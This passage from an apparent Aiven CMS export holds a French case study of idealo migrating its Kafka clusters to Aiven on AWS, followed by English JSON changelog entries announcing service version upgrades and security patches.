dans la marque idealo », déclare Fahmy. En conséquence, idealo utilise depuis longtemps Apache Kafka, la plateforme open source de streaming de données.\n\nAvant de migrer vers AWS, idealo avait 30 clusters Kafka sur site transférant des données entre les systèmes et applications soutenant son service de comparaison de prix. L'entreprise s'est fixé un plan de migration ambitieux vers le cloud à réaliser en seulement 18 mois. Le déplacement de l'infrastructure de données, y compris Kafka, était une partie essentielle du plan.\n\nBien que l'équipe ait acquis une solide expérience dans la gestion des clusters Kafka sur site, il y avait des préoccupations quant à leur suffisance pour une opération basée sur le cloud. Toute perte de performance ou, pire encore, tout temps d'arrêt entraînerait une perte immédiate et notable de trading. idealo avait besoin d'un partenaire fiable pour aider à la migration et à la gestion subséquente de Kafka.\n\n« S'assurer que notre déploiement Kafka est toujours à jour et conforme aux meilleures pratiques est une tâche énorme pour nous. Passer au cloud public nous a donné l'opportunité de confier ce stress aux experts, afin que notre équipe puisse se concentrer sur notre business », déclare Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Migration ambitieuse vers le cloud pour soutenir l'expansion de l'entreprise","variant":"oneColumn"},{"_key":"a5d1e780547561bfb717b6900fdef8d9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-b7190c3a464fe3fbe8cb38336a76804a409b0453-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"e65441f7cec0","_type":"block","children":[{"_key":"dce66b15171c0","_type":"span","marks":[],"text":"idealo a évalué différents fournisseurs et l'équipe a choisi Aiven. « Aiven était le seul fournisseur à répondre à tous les critères », déclare Fahmy. « Les autres fournisseurs SaaS ne pouvaient pas égaler les capacités techniques de la plateforme de données Aiven et nous voulions également de la prévisibilité, en particulier en ce qui concerne les prix. »\n\nLe modèle de tarification simple et facile à comprendre d'Aiven a été déterminant dans l'évaluation. « Passer au cloud public était nouveau pour nous, avec beaucoup de modèles de coûts et de tarification différents. Nous ne savions pas comment cela se passerait – mais nous savions que des coûts élevés comme les frais de sortie de données pourraient vraiment compromettre nos plans de changement », explique Fahmy.\n\nLa migration vers AWS serait échelonnée, certaines équipes quittant les centres de données plus tôt que d'autres. « L'une des exigences techniques clés était que les clusters Kafka fonctionnent en mode double – en utilisant le peering de Virtual Private Cloud (VPC) pour assurer la connexion aux clusters sur site, tout en permettant l'accès à ceux déjà migrés vers AWS. Aiven était le seul fournisseur capable de fournir la flexibilité pour fonctionner dans les deux modes. Il était très facile de passer d'un mode à l'autre, par exemple, pour désactiver l'accès public et se fier uniquement au peering et vice versa », explique Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Répondre à tous les critères – disponibilité, fiabilité et tarification prévisible","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ffb85312328b66d3c7a00143995222d154b4794e-1700x631-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"92700fa66bf6","_type":"block","children":[{"_key":"53f6868077e30","_type":"span","marks":[],"text":"idealo a entrepris un proof of concept réussi avec Aiven pour Apache Kafka®, qui a fourni toutes les assurances techniques nécessaires. Peu de temps après, il a commencé à déplacer les clusters Kafka vers Aiven sur AWS.\n\nHoney Feelisch, chef de projet chez idealo, a dirigé la migration vers AWS. Même lorsque certaines équipes faisaient encore fonctionner leurs applications sur site, Feelisch a encouragé tout le monde à commencer à utiliser Aiven pour Apache Kafka comme un hub central de données en reflétant ou en répliquant les messages. « Cette stratégie nous a permis de démêler les dépendances entre les équipes. Elle a également donné à chacun la liberté et la capacité d'écouter les messages Kafka et de réfléchir à la manière dont ils pouvaient en bénéficier », déclare Feelisch.\n\nTrois mois après la finalisation du proof of concept, l'infrastructure Kafka avait été déplacée avec succès en production dans le cloud. Aujourd'hui, environ 60 clusters Kafka sont gérés par Aiven, soutenant un certain nombre d'équipes différentes avec une gamme de cas d'utilisation de plus en plus large.\n\n« Nous utilisons beaucoup Kafka pour la communication asynchrone basée sur des événements entre les équipes et leurs divers microservices », explique Fahmy. « Le deuxième plus grand cas d'utilisation tire parti d'Aiven pour Apache Kafka® Connect, que certaines de nos équipes utilisent pour l'ingestion de données dans notre big data lake sur AWS. »\n\nDepuis le passage à Aiven, la popularité et l'utilisation de Kafka ont augmenté. « Avec Aiven, nos clusters Kafka sont beaucoup plus fiables qu'auparavant. Cela signifie que nos équipes peuvent se concentrer sur le cœur de métier et ne pas se soucier de la maintenance. Il est également très facile de démarrer un nouveau cluster maintenant. Cela le rend beaucoup plus attractif et accessible pour d'autres équipes », déclare Fahmy.\n\nD'un point de vue commercial, idealo a la certitude que les composants Kafka de son infrastructure de données critique sont hautement disponibles à tout moment et que les données continueront d'être transférées rapidement et avec succès même pendant les périodes de pointe comme le Black Friday.\n\n« Aiven nous aide à accueillir l'augmentation des charges de travail et des volumes de données. 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{"__i18n_lang":"en","_createdAt":"2023-08-02T15:09:27Z","_id":"7f8d6f5a-f04f-40ae-a624-4dda404e543e","_rev":"v0cQAWzuhXdzXIalMgiffM","_type":"changelog","_updatedAt":"2023-08-02T16:16:45Z","changeType":"new","description":[{"_key":"fd7b72809bcb","_type":"block","children":[{"_key":"4f24031d37c70","_type":"span","marks":[],"text":"We are happy to announce that Aiven for Apache Kafka now supports Apache Kafka version 3.5.0. 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{"__i18n_lang":"en","_createdAt":"2023-03-31T13:54:55Z","_id":"098f19f4-5a92-4073-aaff-316f6f28c9ea","_rev":"Fl2c73WgS9jO0pBHiRmL1q","_type":"changelog","_updatedAt":"2023-03-31T15:40:50Z","changeType":"improved","description":[{"_key":"cafca37cd342","_type":"block","children":[{"_key":"08a71be9b8000","_type":"span","marks":[],"text":"The Google PubSub connector for Aiven for Apache Kafka® has been upgraded to version 1.0.0. This latest update includes multiple bug fixes and improvements and preparing the connector for its official release. "}],"markDefs":[{"_key":"bb886262e38e","_type":"link","href":"https://github.com/googleapis/java-pubsub-group-kafka-connector"},{"_key":"6d205eae9f01","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-source"},{"_key":"16423fbe500c","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-sink"}],"style":"normal"},{"_key":"07faf6759185","_type":"block","children":[{"_key":"86744801a11a","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"08a71be9b8001","_type":"span","marks":["bb886262e38e"],"text":"Google Cloud Pub/Sub Group Kafka Connector"},{"_key":"08a71be9b8002","_type":"span","marks":[],"text":" GitHub project. For information on using this connector, see "},{"_key":"08a71be9b8003","_type":"span","marks":["6d205eae9f01"],"text":"Create a Google Pub/Sub source connector to Apache Kafka®"},{"_key":"08a71be9b8004","_type":"span","marks":[],"text":" and "},{"_key":"08a71be9b8005","_type":"span","marks":["16423fbe500c"],"text":"Create a sink connector from Apache Kafka® to Google Pub/Sub"},{"_key":"08a71be9b8006","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"bb886262e38e","_type":"link","href":"https://github.com/googleapis/java-pubsub-group-kafka-connector"},{"_key":"6d205eae9f01","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-source"},{"_key":"16423fbe500c","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-pubsub-sink"}],"style":"normal"}],"publishedAt":"2023-03-31T13:55:30.556Z","tags":[{"_key":"337208a8d70f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded Google PubSub connector for Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2023-03-09T09:32:11Z","_id":"09b549d9-220d-4a5b-ab6f-75595fecc607","_rev":"OJPfab1FRVf7wOgYeZMT2v","_type":"changelog","_updatedAt":"2023-03-09T09:32:11Z","changeType":"security","description":[{"_key":"b4f379414fe0","_type":"block","children":[{"_key":"c7bf1e7dacde0","_type":"span","marks":[],"text":"Aiven for Grafana has been upgraded to version 9.3.8. With the upgrade to version 9.3.8, Aiven for Grafana now includes critical security fixes for stored XSS vulnerabilities: CVE-2023-0594, CVE-2023-0507, and CVE-2023-22462. "}],"markDefs":[],"style":"normal"},{"_key":"07b23487e0a0","_type":"block","children":[{"_key":"acf5a8239f33","_type":"span","marks":[],"text":"For all existing Aiven for Grafana services older than 9.3.8, the update to 9.3.8 will be applied as a mandatory maintenance update in the next maintenance window. For more information on the security fixes, see "},{"_key":"c353dd90cd791","_type":"span","marks":["245282f9fb71"],"text":"Grafana security release"},{"_key":"c353dd90cd792","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"245282f9fb71","_type":"link","href":"https://grafana.com/blog/2023/02/28/grafana-security-release-new-versions-with-security-fixes-for-cve-2023-0594-cve-2023-0507-and-cve-2023-22462/"}],"style":"normal"},{"_key":"e6ea349becd8","_type":"block","children":[{"_key":"f42acbff68ea0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-03-09T09:24:00.000Z","tags":[{"_key":"834c271421dc","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9.3.8"}
{"__i18n_lang":"en","_createdAt":"2022-12-02T16:06:46Z","_id":"0a5f41c8-78aa-457d-a049-16080b2f66a6","_rev":"IiYi5XVNmR5WYQ23CFZ5hd","_type":"changelog","_updatedAt":"2022-12-22T10:46:19Z","changeType":"improved","description":[{"_key":"df3813b88539","_type":"block","children":[{"_key":"91f89d22767d0","_type":"span","marks":[],"text":"Apache Flink version 1.16.0 is now available on Aiven. Performance improvements for stream processing and batch processing are among the key features and enhancements in this Flink release. For a complete list of features and enhancements, see "},{"_key":"91f89d22767d1","_type":"span","marks":["ec2e1342dbce"],"text":"Apache Flink release notes"},{"_key":"91f89d22767d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ec2e1342dbce","_type":"link","href":"https://flink.apache.org/news/2022/10/28/1.16-announcement.html"}],"style":"normal"}],"publishedAt":"2022-11-28T16:06:00.000Z","tags":[{"_key":"beecca83c0f6","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Apache Flink version 1.16.0"}
{"_createdAt":"2022-10-27T09:04:27Z","_i18n_lang":"en","_id":"0b386a24-1ee0-4f14-82b6-003b92bdbbab","_rev":"RS2LhK1JP0SKK0JvX1Q0S1","_type":"changelog","_updatedAt":"2022-10-27T09:04:27Z","changeType":"","description":[{"_key":"d76944dc-72ae-48b8-9e53-4386906d2b88","_type":"block","children":[{"_key":"5c042041-5088-47a9-85b7-3248f29bcac6","_type":"span","marks":[],"text":"See example and instructions on usage from "},{"_key":"c6b5d4a0-9731-48ca-9203-27111a0f638b","_type":"span","marks":["m2696044944678"],"text":"Getting started with Datadog"},{"_key":"d2d61fec-2974-4284-bac3-bcf552675046","_type":"span","marks":[],"text":" article."}],"markDefs":[{"_key":"m2696044944678","_type":"link","href":"https://help.aiven.io/en/articles/1759208-getting-started-with-datadog"}],"style":"normal"}],"publishedAt":"2021-05-05T00:00:00.000Z","tags":["Aiven for Cassandra",{"_key":"b70ef288-edea-401c-aaa7-634deb29d80d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"289cce82-ac3d-45d7-aa5b-70f942959a92","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"1ef55ef1-2004-4625-bdb4-8697373654c3","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"},{"_key":"3ac3fd5f-f1f3-4788-9b49-7e89bfb35c99","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Aiven Datadog service integration now supports user-defined tags"}
{"_createdAt":"2022-10-27T09:09:01Z","_i18n_lang":"en","_id":"0b3f2533-bafc-4c05-8cbd-7b4f3473f5b0","_rev":"HEiYk6nGjmUICadcDbTSYc","_type":"changelog","_updatedAt":"2022-10-27T09:09:01Z","changeType":"","description":[{"_key":"aee4c524-2c08-4acf-ba76-1c690110bbab","_type":"block","children":[{"_key":"24f4abac-5349-41a0-b8d8-7e13619547b5","_type":"span","marks":[],"text":"Aiven extras has been updated to version 1.0.2, adding support for auto explain and for changing owner of public schema."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-02-05T00:00:00.000Z","tags":[{"_key":"b3fad1da-3227-41ac-ba17-547dbac69725","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.2.0"}
{"_createdAt":"2022-10-27T09:08:37Z","_i18n_lang":"en","_id":"0bbedd62-c49d-404a-abe8-8eff167b9e3c","_rev":"Cf2WlCE8X5IGBBi7ld1Jfu","_type":"changelog","_updatedAt":"2022-10-27T09:08:37Z","changeType":"","description":[{"_key":"677e7144-36c7-4945-9a3a-fcc50741dea7","_type":"block","children":[{"_key":"ed3d5bf4-8bb8-47eb-9ca1-6d4f72bd2c75","_type":"span","marks":[],"text":"To get started with syslog integration, see the "},{"_key":"10772755-356b-452a-b529-2856086ec109","_type":"span","marks":["m6074263238355"],"text":"Remote syslog integration guide"},{"_key":"c1254415-c268-457c-9938-c32b73e0ef19","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6074263238355","_type":"link","href":"https://help.aiven.io/services/integrations/remote-syslog-integration"}],"style":"normal"}],"publishedAt":"2019-04-26T00:00:00.000Z","tags":[{"_key":"d8497d11-46e7-435f-bbbe-21e7661a1d44","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"},{"_key":"b4b0e9ea-39db-411a-b386-1ca10b64a692","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"3c4c27e2-4706-4c9a-bd63-df5c01a22f64","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"},{"_key":"1f87d617-debf-49cc-8dda-2a8d4b324a29","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"89367337-2001-444f-9fd9-0989701efa16","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Remote syslog support for Aiven services"}
{"_createdAt":"2022-10-27T09:07:30Z","_i18n_lang":"en","_id":"0c1cef18-20f0-40dd-995d-d507d29166c0","_rev":"HEiYk6nGjmUICadcDbTErE","_type":"changelog","_updatedAt":"2022-10-27T09:07:30Z","changeType":"","description":[{"_key":"523ba79a-dbfa-4d2c-b71b-0419c2e0286f","_type":"block","children":[{"_key":"ec69f1f4-88e5-4624-a16a-b10cbc3d582d","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"5c9bcc8c-4800-4ecf-b1f0-a062fcce99be","_type":"span","marks":["m6550797525556"],"text":"Elasticsearch 7.4.2"},{"_key":"da9808eb-466f-493a-8387-44d165532282","_type":"span","marks":[],"text":" and "},{"_key":"a6bbcda7-d569-4e51-9d66-17ac7e96bc7e","_type":"span","marks":["m1496760746645"],"text":"Kibana"},{"_key":"54ce8823-fe18-460d-98f8-7113c889e651","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6550797525556","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.4.2.html"},{"_key":"m1496760746645","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-7.4.2.html"}],"style":"normal"}],"publishedAt":"2019-11-01T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 7.4.2 is now available"}
{"_createdAt":"2022-10-27T09:11:03Z","_i18n_lang":"en","_id":"0d293e98-e596-4c84-9ead-19dbcf609c4d","_rev":"GNtcCQgxf3P3DqpLt1kJa1","_type":"changelog","_updatedAt":"2022-10-27T09:11:03Z","changeType":"","description":[{"_key":"bca7e86a-dfcb-4fbe-89fa-3a5e623e1071","_type":"block","children":[{"_key":"18b52560-7f7f-43eb-b1b2-e24a7d9e7a26","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"69517206-9b3d-49de-8396-1122be4f98ec","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"ab4e316c-0bf1-4822-9594-7d8cda837c4d","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-11-17T00:00:00.000Z","tags":[{"_key":"20de718f-8a28-4f1e-8940-5a3d27340f63","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for version 4.6.1 and update all available plugins to the latest versions"}
{"_createdAt":"2022-10-27T09:03:08Z","_i18n_lang":"en","_id":"0d9238b9-2f31-46fc-b36c-40031f939684","_rev":"7JYD5XroFCjaK9NJzk3jbc","_type":"changelog","_updatedAt":"2022-10-27T09:03:08Z","changeType":"","description":[{"_key":"2b46e94a-9055-406c-af46-94beacae8a15","_type":"block","children":[{"_key":"68bdfbde-def4-4316-9a74-5d6c1382ed73","_type":"span","marks":[],"text":"Please see "},{"_key":"f28896ad-4733-4b9e-8032-e681695ac727","_type":"span","marks":["m15873694418575"],"text":"the documentation"},{"_key":"5aa27454-d994-42f5-a1e8-79ca667397d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15873694418575","_type":"link","href":"https://github.com/splunk/kafka-connect-splunk/tree/v2.0.5"}],"style":"normal"}],"publishedAt":"2021-12-22T00:00:00.000Z","tags":[{"_key":"b0668dc1-5ad7-416c-9a3c-122fb5b37f06","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Splunk Kafka Connect Connector has been updated to version 2.0.5"}
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{"_createdAt":"2022-10-27T09:11:45Z","_i18n_lang":"en","_id":"0dc25397-3d6d-49eb-b3c5-80763f776da5","_rev":"HEiYk6nGjmUICadcDbToPk","_type":"changelog","_updatedAt":"2022-10-27T09:11:45Z","changeType":"","description":[{"_key":"4128c0a5-5630-4e58-99f1-791721e79179","_type":"block","children":[{"_key":"fa3eceb0-ac28-4cd8-815c-271b03c0ae7b","_type":"span","marks":[],"text":"To see what's new refer to the "},{"_key":"c899e0c7-396a-4db2-b4f9-43ae62146d90","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"0824229e-d97c-4d80-86df-f67470d9e921","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-05-25T00:00:00.000Z","tags":[{"_key":"adc4390b-ad8c-46c5-b16e-ef06d95d78f0","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for Aiven for Grafana 4.3.1 and updated all Grafana plugins to latest versions"}
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{"__i18n_lang":"en","_createdAt":"2024-03-11T09:06:16Z","_id":"2d6445b9-20e9-4662-82ed-53fcda13d8c1","_rev":"ixD1Z6QkTI4STljuuNnlnw","_type":"changelog","_updatedAt":"2024-04-09T11:57:38Z","changeType":"improved","description":[{"_key":"7686059f4c36","_type":"block","children":[{"_key":"0c650f6f8d63","_type":"span","marks":[],"text":"Starting from March 13, 2024, all new setups of Aiven Kafka Connect services using the Debezium connector will "},{"_key":"5b9258c32b7f1","_type":"span","marks":["c46735e87f34"],"text":"default to version 2.5"},{"_key":"5b9258c32b7f2","_type":"span","marks":[],"text":". Existing setups using Debezium version 1.9 will remain on that version to ensure stability and compatibility. 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{"_createdAt":"2022-10-27T09:04:38Z","_i18n_lang":"en","_id":"3bf09575-66be-4888-9662-da5e29ad9518","_rev":"HEiYk6nGjmUICadcDbSjQp","_type":"changelog","_updatedAt":"2022-10-27T09:04:38Z","changeType":"","publishedAt":"2021-04-09T00:00:00.000Z","tags":["Aiven for Kafka"],"title":"\u003ca href=\"https://karapace.io\" rel=\"nofollow noopener noreferrer\"\u003eKarapace\u003c/a\u003e now supports the JSON schema format."}
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{"_createdAt":"2022-10-27T09:07:19Z","_i18n_lang":"en","_id":"589ec738-3fe3-48fa-bc81-5d3645dba731","_rev":"C4pC7IakZ1PpJ4LWR2B5jx","_type":"changelog","_updatedAt":"2022-10-27T09:07:19Z","changeType":"","description":[{"_key":"dce592ee-ae6f-4cc7-a118-4e5fa74b3d45","_type":"block","children":[{"_key":"662ebd47-3978-48ed-a747-b17a5e0b23e1","_type":"span","marks":[],"text":"Please see the "},{"_key":"8f431860-a4a3-4f02-b688-98ad73d6face","_type":"span","marks":["m8143932548033"],"text":"Release Notes"},{"_key":"eba608f6-5982-4364-9e2e-218cf764448f","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m8143932548033","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-18.html"}],"style":"normal"}],"publishedAt":"2019-12-16T00:00:00.000Z","tags":[{"_key":"ca61ead4-1d2e-4760-b333-cb6b85363aaa","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.18 now available"}
{"_createdAt":"2022-10-27T09:06:15Z","_i18n_lang":"en","_id":"5932d7ec-b3dc-454f-bcc8-21626ee90a1e","_rev":"dTcxLudMA3V5vz7pZEQccl","_type":"changelog","_updatedAt":"2022-10-27T09:06:15Z","changeType":"","description":[{"_key":"803c3a88-2b86-4b72-9e00-ac80b3ee3061","_type":"block","children":[{"_key":"8529828b-b4fa-45db-a3c9-39ab0d305735","_type":"span","marks":[],"text":"Please see "},{"_key":"80f8141a-da0c-4c66-9774-fbfe5d6a7995","_type":"span","marks":["m11659354654612"],"text":"the changelog"},{"_key":"2ebe040e-1f12-4a7b-94ee-28fc1567c68e","_type":"span","marks":[],"text":" and "},{"_key":"082ebc03-c9ae-4bad-a520-757f2e4ed2a3","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"ee207286-475a-45fb-aa5f-ee13b760ad89","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11659354654612","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.4.3"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-08-07T00:00:00.000Z","tags":[{"_key":"8501087c-0e34-47f3-bdc9-e1c07dfd61e1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.4.3"}
{"_createdAt":"2022-10-27T09:10:12Z","_i18n_lang":"en","_id":"59a8e148-8f13-45aa-ba76-5e24c1ab30fc","_rev":"Dn65xz5Z1k22g7BhlztN39","_type":"changelog","_updatedAt":"2022-10-27T09:10:12Z","changeType":"","description":[{"_key":"059c8c80-ca4b-4147-b28b-9f22265e875c","_type":"block","children":[{"_key":"cd662deb-6dea-4a53-a4e1-99175dafe0af","_type":"span","marks":[],"text":"See the "},{"_key":"2854b880-8647-4050-b725-89ef1460c98e","_type":"span","marks":["m7751572280830"],"text":"release announcement"},{"_key":"b4088fe3-6b21-4a33-9f1e-32377c67843a","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m7751572280830","_type":"link","href":"https://www.postgresql.org/about/news/1851/"}],"style":"normal"}],"publishedAt":"2018-05-11T00:00:00.000Z","tags":[{"_key":"1981d480-607c-4975-b2ca-1922b08d3bc0","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 10.4, 9.6.9, 9.5.13 and 9.3.23"}
{"_createdAt":"2022-10-27T09:04:42Z","_i18n_lang":"en","_id":"59d59e35-aee7-4276-bcaa-51e427c55712","_rev":"MEha5B96IszmAjyiiUpRH3","_type":"changelog","_updatedAt":"2022-10-27T09:04:42Z","changeType":"","description":[{"_key":"a4ac19f4-ea30-4622-9a59-3dcaa49183a0","_type":"block","children":[{"_key":"cad11306-4beb-4a5b-b1cc-01fe07307996","_type":"span","marks":[],"text":"Please see the "},{"_key":"e72c9dc5-4bd1-451e-b986-5fe33ccafe90","_type":"span","marks":["m3010334259159"],"text":"changelog"},{"_key":"44338e56-57d5-4194-bf68-199666e59cde","_type":"span","marks":[],"text":" and "},{"_key":"d4e31b35-bc39-420d-9aa9-4ac1cbf1f6c2","_type":"span","marks":["m12702587493398"],"text":"documentation"},{"_key":"adefbc99-7805-437c-8ad8-8ed330a770af","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3010334259159","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.10.0"},{"_key":"m12702587493398","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.10.0"}],"style":"normal"}],"publishedAt":"2021-04-03T00:00:00.000Z","tags":[{"_key":"3f3dafe8-e1b7-4bfa-87a4-0e5f438c444d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.10.0"}
{"_createdAt":"2022-10-27T09:09:06Z","_i18n_lang":"en","_id":"64d7dd39-2471-493d-a491-76c6d45f7492","_rev":"WYf15BwQWb3V4yHfbxPIap","_type":"changelog","_updatedAt":"2022-10-27T09:09:06Z","changeType":"","description":[{"_key":"470288ac-167f-4ea3-9ce0-19d6674db6a0","_type":"block","children":[{"_key":"564848cb-e649-4f77-a9f2-ce4817a03fd8","_type":"span","marks":[],"text":"All Aiven prices are set in US dollars, but you can now elect to be billed at a different currency, to convert the charges accrued to your selected currency at the end of the month. Accepted currencies are US dollars, Euros, Pounds sterling, Swiss francs, Australian dollars, Canadian dollars, Swedish kronor, Norwegian kroner and Danish kroner. For the time being, currency can only be updated via the API, support for changing billing currency in the dashboard will be available in the near future."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-01-15T00:00:00.000Z","tags":[],"title":"Multiple billing currencies are now available"}
{"__i18n_lang":"en","_createdAt":"2023-06-14T09:09:39Z","_id":"5b3b0908-8df6-46f9-8cf4-50a28e7e397b","_rev":"c9TjXEWyWBArEQcMlXxITo","_type":"changelog","_updatedAt":"2023-06-19T14:26:19Z","changeType":"new","description":[{"_key":"68c7beb93d6f","_type":"block","children":[{"_key":"b4369b1a84a20","_type":"span","marks":[],"text":"The pgvector extension is now available for Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"2826a1ada760","_type":"block","children":[{"_key":"ed7097bdda020","_type":"span","marks":[],"text":"pgvector is a PostgreSQL extension that allows efficient handling of high-dimensional vector data within the PostgreSQL database for tasks such as similarity search and machine learning."}],"markDefs":[],"style":"normal"},{"_key":"0f29b4888b3f","_type":"block","children":[{"_key":"50ef3a9c4dc50","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"50ef3a9c4dc51","_type":"span","marks":["496f132d5caa"],"text":"pgvector documentation"},{"_key":"50ef3a9c4dc52","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"496f132d5caa","_type":"link","href":"https://github.com/pgvector/pgvector#readme"}],"style":"normal"}],"publishedAt":"2023-06-14T09:07:00.000Z","tags":[{"_key":"b9e330a2672c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pgvector now available for Aiven for PostgreSQL"}
{"__i18n_lang":"en","_createdAt":"2023-01-25T14:49:19Z","_id":"6550708f-d9d4-4df0-b672-6310ed79da5d","_rev":"pnOvEyahjeT2Gte9fULdYB","_type":"changelog","_updatedAt":"2023-01-25T14:49:19Z","changeType":"improved","description":[{"_key":"47211bba8efa","_type":"block","children":[{"_key":"bcd66e75f7730","_type":"span","marks":[],"text":"Aiven's OpenSearch Connector for Apache Kafka has been updated to version 2.0.4. This connector version includes the strategy configuration key.ignore.id.strategy to provide multiple Document ID generation options. The minimum OpenSearch version compatible with this connector is OpenSearch version 1.3.3. If you are using an older version of OpenSearch, you will need to upgrade to a compatible version to use Aiven's OpenSearch Connector for Apache Kafka. To learn more, see "},{"_key":"bcd66e75f7731","_type":"span","marks":["c5f7bc054992"],"text":"Release notes"},{"_key":"bcd66e75f7732","_type":"span","marks":[],"text":" and "},{"_key":"bcd66e75f7733","_type":"span","marks":["7739b9568ef1"],"text":"OpenSearch sink connector configuration 